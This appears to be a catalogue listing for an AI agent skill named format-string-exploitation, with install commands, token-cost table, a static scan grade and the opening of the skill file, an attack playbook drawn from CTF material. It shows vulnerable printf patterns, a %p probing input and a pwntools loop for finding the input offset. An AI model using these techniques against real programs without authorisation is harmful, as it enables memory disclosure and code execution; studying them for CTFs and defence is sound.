Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/miru-zero/zero-brain/format-string-exploitationnpx skills add miru-zero/zero-brain --skill format-string-exploitationgit clone --depth 1 https://github.com/miru-zero/zero-brainWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00058 | $0.03128 |
| Opus 5 | $0.00029 | $0.01564 |
| Sonnet 5 | $0.00012 | $0.00626 |
| Haiku 4.5 | $0.00006 | $0.00313 |
Grade A, and why
format-string-exploitation scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
94% identical to format-string-exploitation — 4 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 313 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Format String Exploitation — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert format string techniques. Covers stack reading, arbitrary write via %n, GOT overwrite, __malloc_hook overwrite, pointer chain exploitation, blind format string, FORTIFY_SOURCE bypass, 64-bit null byte handling, and pwntools automation. Distilled from ctf-wiki fmtstr, CTF patterns, and real-world scenarios. Base models often miscalculate positional parameter offsets or forget 64-bit address placement after format string.
0. RELATED ROUTING
- stack-overflow-and-rop — combine format string leak with stack overflow for full exploit
- binary-protection-bypass — format string is the primary canary/PIE/ASLR leak method
- arbitrary-write-to-rce — convert format string write primitive to code execution targets
- heap-exploitation — heap address leak via format string for heap exploitation
1. VULNERABILITY IDENTIFICATION
Vulnerable Pattern
printf(user_input); // VULNERABLE: user controls format string
fprintf(fp, user_input); // VULNERABLE
sprintf(buf, user_input); // VULNERABLE
snprintf(buf, sz, user_input); // VULNERABLE
printf("%s", user_input); // SAFE: format string is fixed
Quick Test
Input: AAAA%p%p%p%p%p%p%p%p
If output shows stack values (hex addresses): format string confirmed
Look for 0x4141414141414141 in output to find your input offset
2. READING MEMORY
Stack Leak (%p)
| Format | Action | Use |
|---|---|---|
%p |
Print next stack value as pointer | Sequential stack dump |
%N$p |
Print N-th parameter as pointer | Direct positional access |
%N$lx |
Same as %p but explicit hex (64-bit) | Portable |
%N$s |
Dereference N-th parameter as string pointer | Read memory at pointer value |
Finding Your Input Offset
# Send: AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
# Output: AAAAAAAA.0x7ffd12340000.0x0.(nil).0x7f1234567890.0x4141414141414141...
# ↑ offset = 6 (example)
# Or automated:
for i in range(1, 30):
io.sendline(f'AAAA%{i}$p')
if '0x41414141' in io.recvline():
print(f'Offset = {i}')
break
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- yesterday First seen · 313 lines · 58 tokens per session scan A fdfe88f0d7b4
format-string-exploitation is a skill published in the GitHub repository miru-zero/zero-brain (0 stars, last pushed 14d ago), licensed MIT. It adds 58 tokens to every session and 3,128 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. It is 94% identical to format-string-exploitation, differing in 4 lines, and is treated as a copy.
Other skills, from other repositories
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
brainstorming
You MUST use this before any creative work - creating features, building components, adding functionality, or modifying behavior. Explores user intent, requirements and design before implementation.
chat-pet-sprite-creation
Use when creating or changing VS Code chat pet sprite art, sprite sheets, state animations, eye treatments, Stable/Insiders variants, or pet transitions under src/vs/workbench/contrib/chat/browser/widget/media/chatPet.
cpu-profile-analysis
Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…
agent-host-chat-contributions
Build and review cross-cutting agent-host chat behavior through lifecycle contributions. Use when adding turn lifecycle side effects, prompt or context injection, restored-history transformation, protocol-action observation, or when reviewing changes that add code to AgentSideEffects or AgentService.
auto-perf-optimize
Run agent-driven VS Code performance or memory investigations. Use when asked to launch Code OSS, automate a VS Code scenario, run the Chat memory smoke runner, capture renderer heap snapshots, take workflow screenshots, compare run summaries, or drive a repeatable scenario before heap-snapshot analysis.